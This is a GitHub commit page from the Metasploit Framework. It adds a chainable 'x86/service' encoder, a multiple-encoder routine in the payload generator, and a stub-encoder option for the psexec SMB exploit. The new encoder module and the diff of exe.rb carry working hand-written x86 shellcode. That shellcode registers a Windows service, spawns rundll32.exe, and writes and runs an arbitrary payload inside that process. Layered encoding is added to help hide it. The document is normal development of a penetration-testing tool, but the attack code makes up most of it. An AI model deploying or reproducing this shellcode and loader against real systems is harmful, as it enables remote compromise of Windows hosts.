Skip to content

Commit 8995629

Browse files
author
Brent Cook
committed
Land rapid7#7061, allow chaining the service stub with other encoders
2 parents b65919e + 88bdee4 commit 8995629

File tree

5 files changed

+163
-67
lines changed

5 files changed

+163
-67
lines changed

lib/msf/core/payload_generator.rb

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -205,6 +205,19 @@ def choose_platform(mod)
205205
chosen_platform
206206
end
207207

208+
def multiple_encode_payload(shellcode)
209+
encoder_str = encoder[1..-1]
210+
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
211+
@iterations = (encoder_opt[1] || 1).to_i
212+
@iterations = 1 if iterations < 1
213+
214+
encoder_mod = framework.encoders.create(encoder_opt[0])
215+
encoder_mod.datastore.import_options_from_hash(datastore)
216+
shellcode = run_encoder(encoder_mod, shellcode)
217+
end
218+
shellcode
219+
end
220+
208221
# This method takes the shellcode generated so far and iterates through
209222
# the chosen or compatible encoders. It attempts to encode the payload
210223
# with each encoder until it finds one that works.
@@ -327,7 +340,12 @@ def generate_payload
327340
else
328341
raw_payload = generate_raw_payload
329342
raw_payload = add_shellcode(raw_payload)
330-
encoded_payload = encode_payload(raw_payload)
343+
344+
if encoder != nil and encoder.start_with?("@")
345+
encoded_payload = multiple_encode_payload(raw_payload)
346+
else
347+
encoded_payload = encode_payload(raw_payload)
348+
end
331349
encoded_payload = prepend_nops(encoded_payload)
332350
cli_print "Payload size: #{encoded_payload.length} bytes"
333351
gen_payload = format_payload(encoded_payload)

lib/msf/util/exe.rb

Lines changed: 10 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -2,12 +2,12 @@
22

33
module Msf
44
module Util
5-
65
#
76
# The class provides methods for creating and encoding executable file
87
# formats for various platforms. It is a replacement for the previous
98
# code in Rex::Text
109
#
10+
1111
class EXE
1212

1313
require 'rex'
@@ -50,7 +50,6 @@ def self.set_template_default(opts, exe = nil, path = nil)
5050

5151
# Check if it exists now
5252
return if File.file?(opts[:template])
53-
5453
# If it failed, try the default...
5554
if opts[:fallback]
5655
default_template = File.join(path, exe)
@@ -628,67 +627,15 @@ def self.to_win32pe_service(framework, code, opts = {})
628627
opts[:exe_type] = :service_exe
629628
return exe_sub_method(code,opts)
630629
else
631-
name = opts[:servicename]
632-
name ||= Rex::Text.rand_text_alpha(8)
633-
pushed_service_name = string_to_pushes(name)
634-
635-
precode_size = 0xc6
636-
svcmain_code_offset = precode_size + pushed_service_name.length
637-
638-
precode_size = 0xcc
639-
hash_code_offset = precode_size + pushed_service_name.length
640-
641-
precode_size = 0xbf
642-
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
643-
644-
code_service_stopped =
645-
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
646-
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
647-
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
648-
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
649-
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
650-
651-
precode_size = 0x42
652-
shellcode_code_offset = code_service_stopped.length + precode_size
653-
654-
# code_service could be encoded in the future
655-
code_service =
656-
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
657-
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
658-
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
659-
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
660-
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
661-
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
662-
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
663-
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
664-
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
665-
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
666-
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
667-
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
668-
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
669-
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
670-
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
671-
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
672-
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
673-
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
674-
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
675-
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
676-
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
677-
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
678-
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" +
679-
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
680-
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" +
681-
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
682-
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
683-
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
684-
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
685-
686-
# Append a new section to the template
687-
Msf::Exe::SegmentAppender.new({
688-
:payload => code_service + code,
689-
:template => opts[:template],
690-
:arch => :x86
691-
}).generate_pe
630+
ENV['MSF_SERVICENAME'] = opts[:servicename]
631+
632+
opts[:framework] = framework
633+
opts[:payload] = 'stdin'
634+
opts[:encoder] = '@x86/service,'+opts[:serviceencoder]
635+
636+
venom_generator = Msf::PayloadGenerator.new(opts)
637+
code_service = venom_generator.multiple_encode_payload(code)
638+
return to_winpe_only(framework, code_service, opts)
692639
end
693640
end
694641

modules/encoders/x86/service.rb

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
require 'metasm'
2+
require 'msf/core'
3+
4+
class MetasploitModule < Msf::Encoder
5+
6+
Rank = ManualRanking
7+
8+
def initialize
9+
super(
10+
'Name' => 'Register Service',
11+
'Version' => '$Revision: 14774 $',
12+
'Description' => 'Register service if used with psexec for example',
13+
'Author' => 'agix',
14+
'Arch' => ARCH_X86,
15+
'License' => MSF_LICENSE,
16+
'EncoderType' => Msf::Encoder::Type::Raw
17+
)
18+
end
19+
20+
@@cpu32 = Metasm::Ia32.new
21+
def assemble(src, cpu=@@cpu32)
22+
Metasm::Shellcode.assemble(cpu, src).encode_string
23+
end
24+
25+
def can_preserve_registers?
26+
true
27+
end
28+
29+
def modified_registers
30+
[]
31+
end
32+
33+
def preserves_stack?
34+
true
35+
end
36+
37+
def string_to_pushes(string)
38+
str = string.dup
39+
# Align string to 4 bytes
40+
rem = (str.length) % 4
41+
if rem > 0
42+
str << "\x00" * (4 - rem)
43+
pushes = ''
44+
else
45+
pushes = "h\x00\x00\x00\x00"
46+
end
47+
# string is now 4 bytes aligned with null byte
48+
49+
# push string to stack, starting at the back
50+
while str.length > 0
51+
four = 'h'+str.slice!(-4,4)
52+
pushes << four
53+
end
54+
55+
pushes
56+
end
57+
58+
def encode_block(state, block)
59+
nb_iter = rand(0x2fffffff)+0xfffffff
60+
61+
push_registers = ''
62+
pop_registers = ''
63+
if datastore['SaveRegisters']
64+
datastore['SaveRegisters'].split(" ").each { |reg|
65+
push_registers += assemble("push %s"%reg)
66+
pop_registers = assemble("pop %s"%reg) + pop_registers
67+
}
68+
end
69+
70+
name = ENV['MSF_SERVICENAME']
71+
name ||= Rex::Text.rand_text_alpha(8)
72+
pushed_service_name = string_to_pushes(name)
73+
74+
precode_size = 0xc6
75+
svcmain_code_offset = precode_size + pushed_service_name.length
76+
77+
precode_size = 0xcc
78+
hash_code_offset = precode_size + pushed_service_name.length
79+
80+
precode_size = 0xbf
81+
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
82+
83+
code_service_stopped =
84+
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
85+
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
86+
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
87+
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
88+
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
89+
90+
precode_size = 0x42
91+
shellcode_code_offset = code_service_stopped.length + precode_size
92+
93+
# code_service could be encoded in the future
94+
code_service =
95+
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
96+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
97+
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
98+
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
99+
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
100+
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
101+
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
102+
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
103+
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
104+
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
105+
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
106+
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
107+
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
108+
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
109+
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
110+
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
111+
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
112+
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
113+
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
114+
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
115+
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
116+
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
117+
"\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
118+
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
119+
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
120+
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
121+
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
122+
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
123+
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
124+
125+
return push_registers + code_service + pop_registers + block
126+
end
127+
128+
end

modules/exploits/windows/smb/psexec.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -84,7 +84,8 @@ def initialize(info = {})
8484
[
8585
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
8686
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
87-
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'])
87+
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
88+
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
8889
], self.class)
8990
end
9091

@@ -163,6 +164,7 @@ def powershell_installed?
163164
end
164165

165166
def powershell
167+
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
166168
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
167169

168170
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
@@ -181,6 +183,7 @@ def powershell
181183
def native_upload
182184
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
183185
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
186+
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
184187

185188
# Upload the shellcode to a file
186189
print_status("Uploading payload...")
@@ -202,7 +205,7 @@ def native_upload
202205
fd = smb_open("\\#{filename}", 'rwct')
203206
end
204207
exe = ''
205-
opts = { :servicename => servicename }
208+
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
206209
begin
207210
exe = generate_payload_exe_service(opts)
208211

msfconsole

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,5 +44,5 @@ end
4444
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
4545
require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot')
4646
require 'metasploit/framework/command/console'
47-
47+
require 'msf/core/payload_generator'
4848
Metasploit::Framework::Command::Console.start

0 commit comments

Comments
 (0)